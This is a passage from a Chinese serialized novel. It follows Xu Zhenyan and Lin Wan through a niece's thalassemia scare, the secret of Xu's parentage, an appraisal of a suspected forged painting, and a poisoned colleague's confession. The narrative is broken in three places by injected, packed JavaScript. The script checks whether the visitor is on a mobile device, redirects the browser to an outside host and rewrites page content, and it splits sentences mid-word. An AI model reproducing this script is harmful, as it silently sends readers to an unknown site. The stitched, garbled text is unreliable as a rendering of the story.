“中毒。”徐箴言接过电脑包,“谢谢。”他下午急着送同事来医院,把包落在桌上。手机也塞在电脑包夹层里。 “能帮忙就叫我吧。老杜没转岗前,我跟他也共事七年了。”庞涛抽出烟盒,“干咱们这行的,天天算钱。跟钱沾上边就没什么好事。” 徐箴言看了眼他,“行。” “我先走了。” 徐箴言看着他的背影,突然感觉包里的手机震动起来。拿出来一看,是徐雯来电。“姐。” “在上班吗?”徐雯的声音有些沙哑。 “嗯,嗓子怎么了?” “我在市第三医院。” 徐箴言心里咯噔一下,这就是他眼下所在的医院。 “蕊蕊还是贫血,医生让我带她做基因检测。”徐雯开始哽咽。第三医院擅长治疗血液病。 “我现在过来。”徐箴言心里一沉。他转头跟同事示意,匆匆走出急诊大门。 玻璃门上映出他还染着蓝紫色血迹的衬衣。他脚下一顿,又朝停车场走去。出于职业习惯,他在车里备了一件衬衣和外套。 换衣服的时候,他给林菀打电话。而林菀却挂断电话,打过来微信视频。 徐箴言犹豫一下还是接了,举高手机,免得被看到衣服上的古怪血迹。 “我已经见好我妈了。”从别墅区出来,林菀走在路上,头顶一片绿荫。 “不好意思,她肯定生气了吧。改天我再去拜访她。” “没事,她不生气。是不是今天很忙?”林菀以为他在单位,结果竟然是在车里,“你这是去哪儿啊?不对,你怎么在第三医院?”她认出来了,这是医院的停车场,远远的还看到大楼上住院部几个大字。 徐箴言已经解开衬衣扣子,手下一顿,只好道:“蕊蕊有点贫血,吃药没效果。今天在这边做基因检测。” 普通疾病是不需要做基因检测的。林菀不禁有些担心,“我现在过来——你怎么在脱衣服?” “弄脏了。我换一件。”徐箴言拿出备用的衬衣,“不想看就闭上眼。” 林菀左看右看,还是光明正大地正视他换衣服。 “她应该没问题,也没有其他症状。”徐箴言扣好扣子,“你不用过来。” “没事。”林菀已经坐上出租车,“你先去,把具体位置发给我。一刻钟后见。” 林菀这番话倒是提醒了徐箴言。他估计了从单位到这里开车需多久,然后在车里坐了一会儿才出来。 临近下班时间,门诊楼没多少人。徐箴言直接去五楼,再把位置发给林菀。 这里,是血液内科。而徐雯就坐在椅子上,撑着额头,一动不动像雕塑。至于蕊蕊,已经被保姆带下去玩了。 “姐。”徐箴言话音未落,便见徐雯抬头看过来,立即起身迎向他。 徐雯紧紧抓住弟弟的胳膊,浑身脱力一般。徐箴言支撑住她。徐雯脸上是从未见过的苍白与脆弱。 “好像是地中海贫血……”徐雯的声音如同砂纸打磨过一般。她没有流泪,可连声音都在颤抖。因为过于用力,她的手指掐进徐箴言胳膊肉里。 徐箴言心里狠狠一抽,明明姐姐的指甲掐得厉害,可他却没有半分痛觉。 一旁坐在椅子上的老太太摇摇头,用可怜可叹的语气念叨着:“这个病跟白血病差不多,要移植骨髓的。你们家长准备好钱,再找好骨髓,找不到就再生一个,兄弟姐妹的骨髓最好配型。” 徐箴言一想到蕊蕊要遭受如此痛苦,一种无以言状的情绪迅速裹住了他难受的神经。他反过来紧紧抓住徐雯的手,“正好,我符合条件,我去做配型——”意识到自己说了什么,他猛地打住话头。 徐雯脑子嗡的一声仿佛炸开,不敢相信刚刚弟弟说了什么。她脸色素白,睁大眼望着比自己高出一个头的徐箴言。她眼里红血丝明显,很快集聚起水光,可身体被点穴一般,半点都动不了。 这一次,徐箴言省去前半句话,一字一句道:“我去做配型。”他想将她扶坐下。 可徐雯依旧一动不动,坚持望着近在咫尺的徐箴言,直到目光变得哀伤又绝望。 她没有见过徐箴言的儿童时期,印象里见到他时,他便已是十六七岁的少年,性格平静话不多,个子比同龄人高,心态也比同龄人成熟。同龄人在追星听歌谈恋爱时,他已经坐在周末的大学图书馆里阅读黑格尔的哲学书籍。 这么多年过来,他似乎没有变,可的确已经变了。他从一个穿着校服,听着高考英语听力当背景音乐,专心准备全国生物决赛的高中生,变成一个穿着西装衬衣,出入莱城最贵地段银行,完成全国知名企业重组并购案的成年人。 他长高了,也早就长开了,变得成熟俊朗,利落爽净。他开始独立,买下自己的房子,有了他自己的私人生活。他开始撒谎,总说参军是在炊事班做饭,结果等受伤了才知道他在扫雷大队。他开始谈恋爱,因为喜欢着一个女孩而开心、失落、生气、难过,可快乐远远大于伤心。在这些变化之间,没有变的是他身为一个弟弟的责任,身为一个舅舅的责任。 他受到过太多挫折,从小寄人篱下,孤苦无依,明明有绘画天赋但没有机会,明明考上中科院少年班却不能去,明明高考分数都够了去军校,但个子太高体检不合格。明明有最亲近的血缘亲人,却不被承认。可是他还是平安地成长为如今的模样。他不抱怨生活,他是一个善良热心的人。 徐雯哀伤又欣慰地伸出手,似乎想要抚上他的脸庞。或许是因为一时冲动,或许是久有愧疚,她意识到一些话此时不说,便再也找不到机会。“我——” “姐!”徐箴言及时出声制止徐雯,“姐夫来了。” 走廊另一端,林菀与徐雯的丈夫同时踏出电梯,目睹了这一幕。 林菀知道徐箴言平时经常带小孩,便以为今天是他独自带蕊蕊来医院,却没料到这家子都在。而蕊蕊爸爸丝毫没有察觉到异样,脚步匆匆朝妻子走去。 而林菀则慢下脚步。尘封的记忆如同一本久未翻开的书,被风吹开了扉页。一两丝回忆钻进林菀的脑海里,她想起徐箴言曾经告诉她的话—— 他人生最大的变故发生在大学毕业时陪姐姐去产检。产检单上孕次那一行,清晰的数字“2”让他捕捉到被徐雯隐藏的秘密一角。医生询问时,徐雯回忆的说辞更证明这一点。她以为徐箴言去楼下买吃的了没有听到,可他没有去,而那扇门也并不隔音。 那是一个关于他身世的秘密,也关于徐雯年少无知时犯下的错误,抛弃的责任。 …… 知道这个秘密后,徐箴言选择参军,远离莱城。他需要时间思考,理清思绪。而最终,两年后他的心结被自己治愈,而那个秘密也不曾揭开。 无人知道,除了他的爱人林菀。 林菀知道这件事,是在徐箴言表白的当天。他毫无保留地坦白了自己,希望她在了解他的一切后再做决定。他有一个不完整,甚至离谱的家庭。而有一些人,是会介意的。 那一刻,林菀觉得徐箴言的一言一行仿佛在说“好了,你知道我喜欢你,你也知道我的秘密,你可以伤害我了”。 可是林菀怎么舍得伤害他呢?他明明可以不说的。但将来是不确定的,她害怕有一天自己做的不对而伤害他。 父亲早逝,母亲专注于生意,林菀从小学便开始在外地的音乐学校住宿求学。她并没有太多跟亲人的相处机会,也习惯了生病时独自一人去医院。天大的事情她都能自己一个人扛过来。她不会依靠另一半,更不知道该如何表达亲密感。总觉得,人与人之间应该要有点距离感吧?亲亲密密反而好奇怪。 在感情的道路上,她笨拙又迷茫,焦虑又难过。 所以,她的选择是——为了避免一切可能的伤害,而避免一切可能的幸福;为了避免一切结束,而避免一切开始。 可是徐箴言的选择是——你可以保持不变,我来慢慢适应你。 事到如今,她终于想起来他表白的那一天。她关于徐箴言的梦中记忆,在一点一点苏醒。 …… 走廊上安静极了,没有人说话。 徐雯突然之间明白了原来徐箴言一直在假装他不知道那个秘密。而她丝毫不知情的丈夫已经在场。 “姐夫。”徐箴言立即跟蕊蕊爸爸打招呼,顺便也是提醒徐雯。 蕊蕊爸爸担心女儿,点点头便进了医生办公室。 “姐,这是林菀。”徐箴言扭头将林菀牵过来。他没有给徐雯任何思考时间,免得再出差池。 “您好,我是箴言女朋友,我叫林菀。”林菀主动打招呼,暗地里轻轻捏了捏徐箴言的手。她说她是女朋友,而不是妻子,因为不想一下子给徐雯太多刺激。 “你是——”徐雯眼眶的微红还未退散,略有愕然,“你是那个小提琴家。” “您知道我?”林菀轻轻笑了下,想让气氛轻松点,“我们是不是在哪里见过?”她觉得徐雯十分眼熟。 “我以前带女儿,”徐雯顿了顿,拧了下徐箴言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102850|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳膊,“他也带我和蕊蕊一起看过你的演奏会,我们总是坐在第一排。”她叹了口气,主动跟林菀道歉,“不好意思,第一次见面应该正式点,没想到在这里,什么也没准备。” “您不用客气。” “没事,姐。蕊蕊都见过她好多次了。”徐箴言补充。 “这不都是怪你没个计划。”徐雯拍了下他的胳膊。她渐渐恢复往日的镇定,却不太敢看弟弟的眼睛。 这时,蕊蕊爸爸出来了,“蕊蕊是轻型地中海贫血。”他松了口气,“大夫让我也去做个基因筛查。”这个疾病会遗传。徐雯没问题,那只能是她丈夫的问题。 不过,轻型地中海贫血不容易被检查出来,症状轻微,无需治疗,也不需要移植骨髓。 这个结果是不幸当中的万幸。所有人都松了口气。 跟医生沟通好,是半个小时后。徐雯不肯让徐箴言和林菀多呆,她心里还是乱,依旧不忍看弟弟的眼睛。她将徐箴言往电梯那边推,“别担心了。时间也不早,你们该干啥干啥去。别在这里呆着。” “我待会送你们回去。”他说。 “有孩子他爸在,你让他尽点父亲的责任。”徐雯催促,“林菀再见。下次来家里玩。” 林菀见她态度坚定,便道:“那我们先走了。下次见。” 徐雯看着他们离开的背影,胸口的酸堵一直未消散。她深深呼吸一下,抬头看向天花板,让眼里的水润感消失,这才重新跟医生和丈夫说话。 默默地,她忍不住再次回头,突现一种急切的情绪,想要飞奔过去说出一切,可电梯门已经关上,走廊空无一人。 “老婆?”丈夫的呼唤让已经迈出一步的她重新回神。 徐雯呆愣在原地,看到蕊蕊在保姆的带领下从楼梯爬上来。 “哇,好高好高哦,我爬上来了!”蕊蕊看到妈妈便开心地扑过来,“妈妈!” “哎。”徐雯丢了包,蹲下紧紧抱住女儿,仿佛这就是她生命中唯一的浮木。她埋首在女儿肩头,终于哽咽出声。 …… 出了医院,已经是晚上九点。两人还没吃饭,打算去找点吃的。 月色下,树影绰约。 林菀与徐箴言十指相扣,甚至将大半部分身体重量都依靠在他那边,“你知道吗?我妈说她很欣赏你。” “能被她欣赏,很难得。”徐箴言温温和和地说。 “我看中的人,她当然欣赏啦。”林菀用她自己的方式来安抚徐箴言,“而且我今天又想起一些哦。” “想起什么?”他果然打起精神,来了兴致。 “你猜。”她跳到前面,背着手,后退着走路。 “想起我们一起去阳澄湖捉螃蟹?” 林菀摇头。 “你拉琴,我在旁边弹钢琴给你伴奏?” 林菀继续摇头,脚下一歪差点摔倒。 徐箴言立即将她拽回来,朝路过的阿姨道歉。但他也没让林菀规矩走路,而是任由她继续退着走,他自己注意着路况和路人,好在人不多。 “想起泼水节?”他又认真思考。 “近了。” “想起你当时摔了个大马趴?” “什么!”林菀理直气壮地叉腰,“你怎么能让我摔个大马趴呢?” “我不是在下面给你垫着呢。”他腿上有个小疤痕,就是那次留下来的。 “我想起来,”林菀不逗他了,“咱俩刚在一起——” “那是我单方面跟你在一起。你可没承认跟我谈恋爱。”徐箴言强调。 “好吧,我不跟你计较。这份荣誉还给你。当时你跟我表白嘛,我其实有一瞬间紧张闭眼说好,我们在一起吧。可是当时他们在外面打篮球叫好,太吵了你没听到。然后你再问我,我一慌就又改口了。” 徐箴言定定地注视着她,“那再说一遍。”林菀的话意味着她想起了他的身世,他瞬间明白她是在逗他开心。 “说什么?” “说好,我们在一起吧。我现在要听。” 林菀把手上的钻戒伸到他眼前,“这都什么时候了还要听。” “不行,我就要听。” “不说。”林菀笑着转身拔腿就跑。 徐箴言立马追过去。 公交车路过,窗户照射出来的光芒在他们身上一格一格掠过。徐箴言很快追上林菀,从后面将她带入怀中。 林菀含笑转身抱住他的腰。“你要让着我。” “现在不想让。”他将她拉近,用手臂搂住她的腰,另一只手罩在她的后脑勺上,让她轻轻抬起头来。 由于身材差距,林菀在这一刻觉得自己娇小极了,他的姿势仿佛能将她从头到尾地包裹在他的怀中。他一向是温柔的,可此刻他的手掌带着一种沉稳的安全感,一种男人味十足的掌控感。他就这样沉稳又强势地将她包围起来。 紧接着,是温热的嘴唇触碰到她的嘴唇,微凉的鼻尖触碰到她的脸。 她轻轻喘息着,抓紧他的衬衫,想要逃离却又忍不住踮起脚尖,迫近他感受他与自己一同加快的心跳,换来的是他愈加收紧的臂膀,与他显然更加熟练的舌尖试探。 幽暗的灯光下,两人的影子交叠在一起,久久未分开。 34. 褪变的紫色 “你看。”吃完饭回到车里,林菀掏出个纸条递给徐箴言。 “刘经理的电话和地址?”徐箴言认出是林珠莉的笔迹,“在某些方面,你母亲真的很坚持传统。”比如相比用电脑,林珠莉更喜欢手写。她还特别喜欢老式胶皮记事本,并且不习惯微信。徐箴言联系她要么打电话,要么发短信。 这是一个林菀想避开的话题,她缓了一会儿才说道,“要直接找刘经理吗?如果找他,由我出面比较好。” “我也在思考这件事。他若是清楚那画的底细,上门询问只会打草惊蛇。”他想了想,“如果能找到证据,也得尽早告诉商氏夫妇。他们跟刘经理关系好,一定买了很多假画。” 徐箴言将车拐进繁华的十字路口,看得窗外一片霓虹闪烁,灯火通明。 “我想到办法了!”林菀眼睛一亮,“让涂淼出面,就说她想进艺术圈买画,去看看那幅加百列。然后请个鉴定师一起。用当代画作冒充三十年前的画作,肯定还是有纰漏的。”这样,他们就能找到证据。 “你确定要将她牵扯进来?”徐箴言问。不过确实他不能出面。而林菀作为林乃岳女儿的身份,也不好出面。如果那么喜欢那幅画,不让基金会卖就好了,何必卖了又眼巴巴跑去看? “她肯定乐意帮忙,也能保守秘密。”林菀说。而且这件事目前来看没有什么性命攸关的问题,不算危险。只是让涂淼帮忙试探一下而已。 徐箴言思考着点头,算是同意。 第二天,正好是周末。 上午十点,涂淼拎着三杯冰美式跳下车,瞧见徐箴言从另一辆车下来。“咦,你不在这儿住?” 徐箴言关上车门,叹了口气,“别提了。” “我倒是不知道现在流行分居式新婚。”涂淼率先进楼栋。 林菀已经起大早练好琴,切好果盘等待他们上门。涂淼喜欢猕猴桃,徐箴言喜欢草莓,她都准备了。 涂淼进来就发现徐箴言比她更轻车熟路地换鞋挂衣服,然后去餐桌帮忙。他甚至知道调试空调要用的转换插座放在哪里。 “我去,他不会就是你以前开口闭口念叨的空调师傅吧?”涂淼醍醐灌顶。 徐箴言摆弄好空调,扭头回复涂淼:“正是在下。” “你们俩有毛病吧……”涂淼擦了把胳膊上的鸡皮疙瘩。 “先别说这个。”林菀有些尴尬,把茶水端到客厅,“有重要的事情请你帮忙。” 然后,她和徐箴言一起将加百列油画那件事原原本本地告诉了涂淼。 涂淼大为震惊,先跑去书房里看了半天画,然后才一边感叹一边出来。她不敢相信地问徐箴言,“就是说,有人拿你的画冒充是林乃岳的画,拿去卖了一千万?” “怀疑是这样。”徐箴言说。 “王八蛋,这是冒名顶替,是诈骗!”涂淼极其气愤,“这种人渣就该滚去坐牢!赶紧报警啊。” “报警说什么?说三十年前的老画涉嫌‘雷同’箴言才完成不久的画吗?”林菀说。 “那要怎么办?我能帮忙吗?” “我确实希望你能帮忙。”林菀握住她的手,“你能不能带鉴定师去看看那幅画?就先跟我妈说你也想买画,然后——” “我带鉴定师去看画没问题。”涂淼打断她,“可是见你妈有问题。说实话我有点怵她。她给我的感觉总是像……母系氏族说一不二的女族长,或者出门打猎的带崽母豹。作为一个年过五十的女人,她挺有活力的,但有时候也挺有攻击性。一见到她,我撒谎肯定会漏底儿。” “……”林菀无法否认涂淼的话。她甚至觉得涂淼的评价切中要害。连年长成熟的周城都有点膈应林珠莉,更别提涂淼。 “那通过你带的那个孩子,怎么样?”徐箴言问,“好像叫商皓宸?通过他直接安排。” “好像也可以。”林菀思索着。商皓宸一看就没什么心眼。如此利用他,林菀有些愧疚。但为了他父母的利益着想,也只能这么办了。 “一千万啊,”涂淼忍不住感叹,“箴言你确实厉害。” “如果冠上我的名字,可能就少多了。”徐箴言笑了笑。 “干嘛这么说。这价格可是林乃岳自己的画都卖不到的。” 徐箴言微微挑眉,他发现涂淼跟林菀一样,也是对林乃岳直呼其名。他拿着手机起身,“我去联系毛拉。”毛拉经营画廊多年,肯定认识不少绘画方面的鉴定师。 打量着徐箴言朝阳台走的背影,涂淼忍不住眯了眯眼,“哎,你们怎么没住一起啊?” “啊?”林菀一愣,脸上有些烫,“我这不是……才开始婚后恋爱么?” “难道你就没有想把他扑倒的欲望吗?这是可以判断你多喜欢他的方法啊。”涂淼问,“瞧他腰细屁股翘的样子,在床上肯定很骚。” “哎,你在说我的对象诶。”林菀严肃提醒。 “就是因为他是你的对象,我才八卦啊。”涂淼嗑着瓜子,“要不然别人我才懒得说嘞。”她顿了一下,“咱们以前在大学宿舍里夜聊的男明星话题比这个劲爆多了。” “……”林菀盯着她,“你一个字都不准跟他讲。” “我傻啊,我是你的闺蜜又不是他的。再说我也要顾忌自己的形象。”涂淼丢掉瓜子壳,“那个学生啥时候来你这里上课?” “下午两点。做好准备吧。” …… 下午三点。 在麦柯教学一小时后的中场休息时,门铃响了。 “奇怪,谁这时候过来。”林菀放下点心,“你们先吃,我去开门。” 麦柯递给商皓宸一块司康,自己也吃起来,然后就见琴房门开,涂淼进来了,他顿时呛得咳嗽起来,“涂、涂老师。” “好久不见,麦柯。你也在这儿啊。”涂淼惊讶地看看他,又看看那个高个儿的少年,“这是谁?” “我的学生,商皓宸。”林菀说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“您是说,那幅描绘月季的画已经很有年头了?”林菀问。 “当然。”鉴定师毫不犹豫,“颜料早就干裂,因为保存不好,还有灰尘渗入。四角有受潮痕迹,隔近闻还有霉菌味道,显然是在潮湿阴暗的地方放了很久。画框上也有不少虫蛀痕迹,用的木头还是好多年前就被列入濒危等级禁止砍伐的大叶柳。这木头三十年前用不犯法。现在用犯法,可就算想犯法也找不到,太罕见了。最重要的一点,画里的月季原本是紫色,放置多年又没保护,其中的红色颜料一褪,就变成蓝色了。这点在厚涂又干裂的花心部分跟薄涂的花瓣部分对比,尤其明显。”他略有不平,“不相信就叫毛拉来看,他比我厉害。可我保证他的意见跟我一模一样。” 可不等他说完,所有人已经愣住了。 35. 徐雯不用负责 一时间,车里没有人讲话。 “至于涂女士开的价格,在合理范围之内。”鉴定师又说。 “你开了多少钱?”林菀问。 “一千一百万。”涂淼说,“最开始那个代理人还态度挺好,说可以商量。但等他突然接了个电话就说不卖了。” “是策展人的电话。”鉴定师说,“我听到了,一个姓秦的策展人想借画去办大型展览。如果是我,我也不会卖。等到宣传炒热,展览成功,那幅画可就不是一千一的价格了。” 林菀心里咯噔一下,姓秦的策展人……难道是秦文翰?鉴定师搞错了,秦文翰不是策展人,是林乃岳基金会刚刚上任经理。为了做出风光的成绩,他想办个林乃岳的大型画展也不无道理。 而涂淼则提出了另外一个问题,“老师,依您看,月季花这幅画是林乃岳当年的绘画风格么?” “这个问题很难说。”回答的是徐箴言,他掏出说好的红包递给鉴定师,“他虽然有比较明显的独特风格,但去世得太早,还在博采众长,尝试多样画法的阶段,所以对象和技法变化明显,比如他曾经有一段时间集中画点彩油画。但总的来说,他偏向写实主义。” “有研究啊,年轻人。”鉴定师颔首表示赞同,“讲得不错。” 所以,不能单纯从绘画技巧方面来否定这幅画。林菀心想,那幅画后来被添加了星空与花苞,怕不是就为了更加贴近林乃岳本人的风格——画面饱满。那暗处的画手一定对林乃岳风格有很深的研究。但这不是重点,重点是那幅画到底如何做到能呈现“保存不当,年久失修”的风格?就连颜色都能体现出饱经岁月的沧桑褪色感。这种技术是现实存在的么? 送走鉴定师后,三人还在思考这个问题。 “要不然,叫鉴定师说的那个毛拉来看看?”涂淼问。 “不行,他见过我后来重画的那幅月季。”徐箴言说。 “虽然难以置信,但说不定真的是千亿分之一概率的巧合?”涂淼继续说,“箴言恰好画出了和林乃岳三十年前的作品几乎一模一样的油画。” “不,这里头一定有问题。”林菀十分坚持。 可如此一来,从画着手寻找真相便进入了死胡同。她和徐箴言对视了一眼,两人都明白唯一的突破口只剩下未曾谋面的刘经理。 …… 夜色降临,华灯初上。 徐箴言拎着一个冰淇淋蛋糕进了徐雯家,还没换好鞋就被蕊蕊冲过来抱住腿,“舅舅!” “乖,我先换鞋。”徐箴言揉揉她的小脑袋,将蛋糕递给保姆。 “我来拿,我来拿!”蕊蕊伸手跳着够到蛋糕盒子,抱着蛋糕摇摇晃晃朝餐桌走。 “阿姨,我姐回来了吗?”徐箴言问。 “回来了,在卧室里打工作电话,这几天她都回来得早。蕊蕊爸爸也回来了,在书房。”保姆记得徐箴言喜欢吃鳕鱼,“晚上吃香煎鳕鱼。” “好,谢谢您。”徐箴言笑了笑,看见徐雯从房间里出来。 徐雯看到弟弟,下意识脚下一顿。她迅速收起心头翻滚的情绪,走过来拍着徐箴言外套上粘着的绒毛,“你去干什么了。阿姨,把粘毛器拿来。” “我跟菀菀路过宠物店,进去看了会儿。”因为林菀满心都在那幅画上,他便喊她进去看看动物,放松下心情,别那么焦虑。有时候,再焦虑也没办法。 “怎么不叫她一起来吃饭?” “她朋友也跟我们一起。今天托人家帮了个忙。所以她俩一起去吃饭了。” “你应该一起去的,这是基本礼节。” 徐箴言笑了一下,“没事。”他早就答应了姐姐过来吃饭。如果拒绝,他担心她会胡思乱想。 徐雯拿着粘毛器,拍拍徐箴言的肩膀让他转过去。 “我自己来。”徐箴言不习惯。他更喜欢自己动手。 “别动。”徐雯不肯把粘毛器给他,仔仔细细帮他把衣袖上的绒毛粘干净才放手。 “蕊蕊爸爸最近接到一个英国大学的工作机会,正在跟学校那边洽谈。”徐雯说。 “顺利的话,要带蕊蕊一起出去吗?”徐箴言知道徐雯一向想要把蕊蕊早点送出国学习。 “蕊蕊是轻型地贫,虽说不要紧,可还得注意身体。我不放心。”徐雯叹了口气,眉宇间满是疲惫,“更何况他们父女俩都是这个毛病。”她看向徐箴言,终于能再次如常注视他的双眸,“你啊,平时多锻炼身体。在办公室没事就起来活动活动。” “我腾了个房间专门放健身器材,你忘了?” 徐雯怔忡一下,她不是忘了,是压根不知道。每次到徐箴言家里,她总是来去匆匆,鲜少去二楼。 “蕊蕊?”而徐箴言则是注意到蕊蕊的动静。孩子一直没吭声肯定在作妖,果然她是在餐桌那边用手指头从盒子缝儿里抠蛋糕吃。 徐雯看着过去照顾蕊蕊的弟弟背影,心里又翻涌起一股酸涩与悲伤。 …… 吃好饭再分了蛋糕当甜点,时间一晃就到蕊蕊的睡觉时间。她开心地在沙发上蹦,不肯被保姆抱去洗澡,反而一下子扑到徐箴言背上,像八爪鱼一般手脚并用缠绕起来,“舅舅给我洗澡!” “你自己洗,或者叫阿姨帮你洗。”徐箴言放下杯子。蕊蕊在家被娇惯,都是大人帮她洗澡。而在徐箴言那里,她都是自己在恒温浴缸浅浅的水里扑腾半天玩塑料鸭子,然后自己爬起来擦干净穿睡衣。她的舅舅则在浴室外面等着。 “我要舅舅洗!”蕊蕊觉得舅舅身上好好闻呀,是兔子阿姨的味道。她钻到他怀里,搂住他的脖子,咯咯笑。她可喜欢兔子阿姨的香香味道了。 徐雯静静地瞧着对面沙发上的一大一小。徐箴言的额头和嘴唇跟蕊蕊很像,简直一个模子刻出来的。幼儿园的老师都开玩笑说外甥像舅,可徐雯知道不是这样。 “你别闹,我生气啊。赶紧下来洗澡。”徐雯说着动手,“一、二、三——” 蕊蕊虽然人小,但已经会看脸色,立马麻溜地从徐箴言身上爬下来,免得被妈妈打屁股,不过她还是撅着嘴巴表示不服气。 “去吧,我待会给你讲睡前故事。”徐箴言说。 “好耶!”小家伙又开心了。 几个大人又在客厅闲聊了一会儿,蕊蕊就火速洗好出来,认真挑选了一本讲小象的绘本。 徐箴言陪她到房间,开始讲故事。 很快,蕊蕊就陷入梦乡,但手指还紧紧抓住徐箴言的手腕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102852|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐箴言轻轻地将绘本放下,关掉灯,打开床脚的小夜灯,然后静静地坐在黑暗里。他想要等蕊蕊睡得更熟再起身,否则这小丫头惊醒后会哭。 门突然被无声地推开,是徐雯站在门口。她轻声问:“睡着了吗?” “刚睡。” 徐雯进来帮女儿攒好床尾的被子,“晚上跟林菀联系了吗?”由于丈夫呆在客厅,这里说话更安全。 “联系了,她们一起吃川菜。” 三个人所在的微信群里,涂淼简直一刻不停地在说话,在那边拍照她们吃了啥,炫耀她和林菀关系好,然后给徐箴言规划当画家的成名暴富之路。 听完鉴定师的话后,涂淼便觉得有时候最不可能的选择就是正确的选择。她自己做设计,有时候会发现思考一个月设计出来的绝佳造型,在十多年前就出现在大牛的作品集中。毕竟后人一直踩在前人的肩膀上攀爬,可一代代下来,后人爬得越高,就发现前辈们留给的突破空间越来越小。 “找时间把林菀带来吃个饭,这也是对人家女孩儿的尊重。”徐雯说。 “嗯。”徐箴言想了想,话就这么直接说出来,“我们打算结婚。” 徐雯手下一顿,慢慢站起身。她有什么立场说话吗?她没有。所以在她看来,徐箴言的话更像是通知,而不是商议。 “一直没有带她过来见你,是我考虑不周。”徐箴言说。他不想归因于林菀的回避型性格,也不想说起隐婚的原因,怕徐雯担心。 “那你尽快安排时间,两家人一起见个面。我听说她母亲也是利落爽快的人。”同为事业心重的女人,徐雯对林珠莉抱有好感。末了,她又轻声说道;“龙角山那套别墅,我转到你名下,好不好?” 徐箴言一瞬间就明白了她是想补偿,“不用。我房子贷款已经还完了,过几年我也能买。”他的年薪非常高,每年也有股份分红,也有额外理财。 “可是——” “姐,我真的不需要。”他强调。 徐雯不吭声。往门口走了几步,她还是忍不住回头,勉力抑制住起伏的心潮,控制住颤抖的嗓音,“你——怪我吗?从以前到现在……我没有对你负责。如果你怪我,我也不生气。” 徐箴言将手腕轻轻从蕊蕊细嫩的手指下抽出来,在小夜灯微蓝的光芒中看向站在门口的徐雯。他今天过来之前就做好了面对她说这些的心理准备,因此情绪比她平稳很多,“我母亲生我时还是个少女,其实说是孩子也不为过。她自己的人生才刚开始,还未过得明白。我怎么能要求她来为我负责呢?” 他理解徐雯当年生下小孩就离开的原因。他理解多年后徐雯让他开口叫姐姐的原因。人,怎么可能在所有方面都完美无缺呢? 泪水刷地充盈了徐雯的眼眶。她紧紧捂住嘴不让自己哽咽出声,为了控制自己,她死死抓着门把手。 她不能上前去拥抱徐箴言,因为丈夫就在门外。 “箴言,你和你姐都在蕊蕊房间?”他在门外问。 “嗯。”徐箴言立即起身。 “出来一起下棋。” 徐雯猛地拉开门,正好遇见丈夫转身朝客厅走。她迅速走进洗手间,面对镜子,终于落下泪水。 她的孩子啊…… 36. 老杜的实话 周末结束,又是一个周一。 上午,徐箴言开车和同事们来看望刚刚从重症监护室出来的老杜。 “一个果篮够吗?”同事提着果篮从车里出来。 “我去买束花吧。”徐箴言锁好车,正要看哪里有花店,却瞧见庞涛一边拍着身上的粉末,一边从医院大门走出来。 同事立即打招呼,“庞经理,你怎么在这儿?” 庞涛迅速拍干净身上的灰尘,抖抖外套走过来,“最近抵抗力低,头疼脑热的,过来打一针。那护士忒不熟练了,一针头下去,满管的药粉炸得我浑身都是。” “哟,你这用药挺高级啊。”同事乐呵呵。 “特效药,保证不耽误工作。”庞涛瞧见一行人提着的东西就明白了,“老杜在这儿住院?” “对。”徐箴言说,“他昨天出ICU了。” “我跟你们一起去看看吧,好歹同事一场。”庞涛穿好外套,将刚刚摸出的烟盒子又塞进兜里。 几人去了住院部,直奔老杜的病房。老杜躺在床上,肤色依旧苍白,连脸颊都瘦凹陷了。而他怀孕的妻子守在旁边,看到大家过来便撑着肚子站起来迎接。 老杜没有力气说话,几乎都是他老婆代替聊天。 “今天警察过来调查,食堂被封了。”徐箴言说,“听说周末就叫了好几个厨师去问话。” 老杜妻子叹着气,“警察也找过我,问老杜平时跟人有没有摩擦。可是我们老杜为人老实,从来不跟人摆脸色,怎么可能被人寻仇报复呢?我实在想不通,为何偏偏是我家老杜吃饭中毒。” 庞涛听了半天,这时候才开口:“是不是你们平时腌制肉或者隔夜菜吃多了?”等毒素在身体里堆积到临界值,就成小紫人了。 “没有,我怀着孕呢,怎么可能吃这些东西。肯定是食堂黑心,从采购到厨师都必须得说明白,我们老杜不能白受这一场。” “警察肯定会查清楚。”徐箴言说道,“你们保重身体,老杜这边有什么事情需要帮忙,可以跟我说。”他将名片放到桌上。 “真是谢谢你。”老杜老婆感激地点头。 床上的老杜一直麻木着一张脸,盯着吊瓶点滴。听到这话他突然抖了下胳膊,失去光泽的眼珠子转向徐箴言的方向。 呆了一会儿,大家起身告辞。而这时,老杜终于忍不住伸手抓住徐箴言的胳膊。 他犹豫再三,嘶哑着嗓音用尽全力说道:“我吃的那盒饭,是从你桌上拿的。”他分到的是早就凉透的,难以下咽的牛排饭,而徐箴言桌上则是味道不错的鸡腿饭。趁着徐箴言没回工位,他左右看看,迅速将自己的牛排饭丢到徐箴言桌上,将那份鸡腿饭拿了回来。 